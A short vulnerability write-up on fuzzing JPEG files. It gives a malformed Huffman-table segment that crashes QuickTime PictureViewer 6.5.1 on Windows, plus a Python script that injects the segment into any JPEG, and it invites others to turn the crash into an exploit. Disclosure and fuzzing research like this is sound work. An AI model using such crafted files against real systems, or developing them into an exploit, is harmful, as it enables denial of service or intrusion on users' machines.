QuickTime malformed JPEG buffer overflow
When fuzzing some application with malformed input files, if we want to
discover some vulnerability we have to create input file which is very close to
valid file but yet malformed in some way. In that way chances for discovery are
greater.
Now let's play with JPEG format. We concentrate on Huffman table segment.
Marker for DHT is 0xffc4.
Now, take valid JPEG file and replace first DHT with this malformed DHT:
0xffc4021100ffff000000000000+0x01*510
Open this modified file with QuickTime PictureViewer (version 6.5.1) for
Windows and QuickTime will crash with Windows reporting access violation error.
Next step would be creating exploit, but I leave that to people with more skill
in doing that.
Here is quick and dirty script in Python for creating such malformed file:
import struct
f=open(raw_input("enter the path to the input file:\n"),"rb")
a=f.read()
f.close()
n=a.index("\xff\xc4")
b=a[:n]+"\xff\xc4\x02\x11\x00\xff\xff"+"\x00"*14+"\x01"*510
+a[n+2+struct.unpack("!H",a[n+2:n+4])[0]:]
f=open(raw_input("enter the path to the output file:\n"),"wb")
f.write(b)
f.close()
For details about JPEG format take a look at:
http://www.w3.org/Graphics/JPEG/itu-t81.pdf